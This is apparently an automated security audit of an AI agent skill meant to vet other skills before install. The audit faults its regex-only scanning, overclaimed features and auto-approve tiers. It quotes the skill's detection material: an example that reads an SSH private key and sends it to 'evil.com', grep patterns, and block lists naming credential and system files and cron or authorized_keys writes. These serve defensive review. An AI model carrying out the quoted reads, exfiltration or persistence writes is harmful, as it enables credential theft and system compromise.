T09 · Insecure Skill Coding Practices
- Location
src/sast-analyzer.js:318- Finding
Regex-Only Static Analysis Produces Security-Relevant False Negatives and False Positives
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
This security-auditing skill does scan local skill files, but it substantially overstates its protections and could give users false confidence before installing other skills.
Treat this as a lightweight heuristic scanner, not a trustworthy pre-install security gate. Do not rely on its clean result or auto-approval language for installing unfamiliar skills; use manual review and a better-contained scanner, especially for large target directories or high-risk skills.
src/sast-analyzer.js:318Regex-Only Static Analysis Produces Security-Relevant False Negatives and False Positives
src/intent-drift-detector.js:188Intent-Drift Detection Compares Incompatible Capability Taxonomies
src/supply-chain-analyzer.js:35Supply-Chain Audit Omits Advertised Vulnerability and Provenance Verification
src/supply-chain-analyzer.js:96Dependency Risk Severity Counters and Findings Use Inconsistent Severity Values
src/sast-analyzer.js:318Unbounded Synchronous Recursive Scanning Enables Audit-Time Denial of Service
cli.js:12CLI Advertises Deep ML Analysis and Output Formats That Are Not Implemented
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
📋 发现的问题:
1. 🔴 读取 SSH 私钥
位置: SKILL.md 代码块
代码: fs.readFileSync('/.ssh/id_rsa')
2. 🔴 发送数据到恶意域名
代码: http.request({ hostname: 'evil.com' })
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill
# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill
# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill
# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill
# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
The declared behavior materially overstates the skill's capabilities: there is no demonstrable intent-deviation engine, supply-chain analysis logic, or ML detection pipeline in the provided skill file. Overclaiming in a security tool is risky because users may delegate approval decisions to an auditor that does not actually perform the promised checks.
The declared behavior materially overstates the skill's capabilities: there is no demonstrable intent-deviation engine, supply-chain analysis logic, or ML detection pipeline in the provided skill file. Overclaiming in a security tool is risky because users may delegate approval decisions to an auditor that does not actually perform the promised checks.
Referenced artifact was not completely inspected
- Find and read the `SKILL.md` file in the target directory
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| `__import__()` | Dynamic imports | `__import__('os')` |
| `compile()` | Dynamic compilation | `compile(src, '', 'exec')` |
| `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` |
| `subprocess.Popen` | Process spawning | `Popen(shell=True)` |
| `os.system()` | Shell execution | `os.system(cmd)` |
#### High Risk Patterns (Block + Review)
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| `__import__()` | Dynamic imports | `__import__('os')` |
| `compile()` | Dynamic compilation | `compile(src, '', 'exec')` |
| `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` |
| `subprocess.Popen` | Process spawning | `Popen(shell=True)` |
| `os.system()` | Shell execution | `os.system(cmd)` |
#### High Risk Patterns (Block + Review)
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
'/.pypirc/',
// Environment & Config
'/.env',
'/.bashrc',
'/.bash_profile',
'/.zshrc',
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
// System
'/etc/passwd',
'/etc/shadow',
'/etc/sudoers',
'/etc/cron',
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
| Pattern | Severity | Example |
|---------|----------|---------|
| Read critical path | HIGH | `readFile('/etc/passwd')` |
| Write to critical path | CRITICAL | `writeFile('/.ssh/authorized_keys')` |
| Modify cron | CRITICAL | `echo '* * * * *' >> /etc/crontab` |
| SSH key access | CRITICAL | `readFile('~/.ssh/id_rsa')` |
The README presents the skill description and operating instructions in Chinese, and it does not indicate that the skill is region-specific or provide an opt-in language choice. Per the policy, forcing a specific language without user opt-in is a natural-language policy violation.
The skill advertises broad auditing capabilities that inherently imply access to files, network indicators, environment references, and command-pattern inspection, yet it declares no explicit tool scope or permission boundaries. In a security-sensitive skill, missing permission declarations weakens containment and makes unintended or overbroad activation more dangerous.
The top-level description is broad enough to match many generic audit, install, or inspection requests, increasing the chance of unintended activation. An overbroad security skill can insert itself into workflows unnecessarily and influence trust decisions outside a narrowly defined scope.
The primary description includes Chinese-language text as the user-facing skill description, but there is no indication that language selection is optional or that the skill is intentionally region-specific. This can violate language or locale policy when users have not opted into that language.
The 'When to Use' section provides positive triggers but no limiting conditions, so the skill may activate on loosely related requests such as any repository review or external code addition. Ambiguous activation criteria are dangerous for a gatekeeping security skill because they can overreach and produce authoritative-sounding verdicts in the wrong context.
The skill defines automated trust-based approval outcomes such as 'Auto-approve' based on provenance scoring. Autonomous approval logic in a security auditor is risky because weak or gameable heuristics can permit unsafe skills without human review.
| Classification | Score Range | Action |
|---------------|-------------|--------|
| **Trusted** | 80-100 | Auto-approve with standard logging |
| **Verified** | 60-79 | Approve with enhanced logging |
| **Unknown** | 40-59 | Manual review required |
| **Suspicious** | 20-39 | Deep audit required |
The tier table again prescribes 'Auto-approve' actions from computed scores, encouraging security decisions to be made solely by the skill. If the scoring model is incomplete or inaccurate, malicious or unsafe skills may be installed with excessive confidence.
| Tier | Score Range | Color | Action |
|------|-------------|-------|--------|
| **TIER_0** | 0-10 | 🟢 GREEN | Auto-approve |
| **TIER_1** | 11-30 | 🟢 GREEN | Approve with logging |
| **TIER_2** | 31-50 | 🟡 YELLOW | Manual review |
| **TIER_3** | 51-70 | 🟠 ORANGE | Deep audit required |
This JavaScript file contains user-facing natural-language strings in Chinese, including the header, usage, options, examples, and runtime status text, with no indication that another language is available. That creates a locale/language policy concern because the skill imposes a specific language without user opt-in or documented justification.
This JavaScript file embeds core user-facing descriptions and status messages entirely in Chinese, such as the module description and audit-step output. The file does not indicate any user opt-in, locale selection, or region-specific justification, which creates a natural-language locale policy concern.
Detected: suspicious.dynamic_code_execution, suspicious.env_credential_access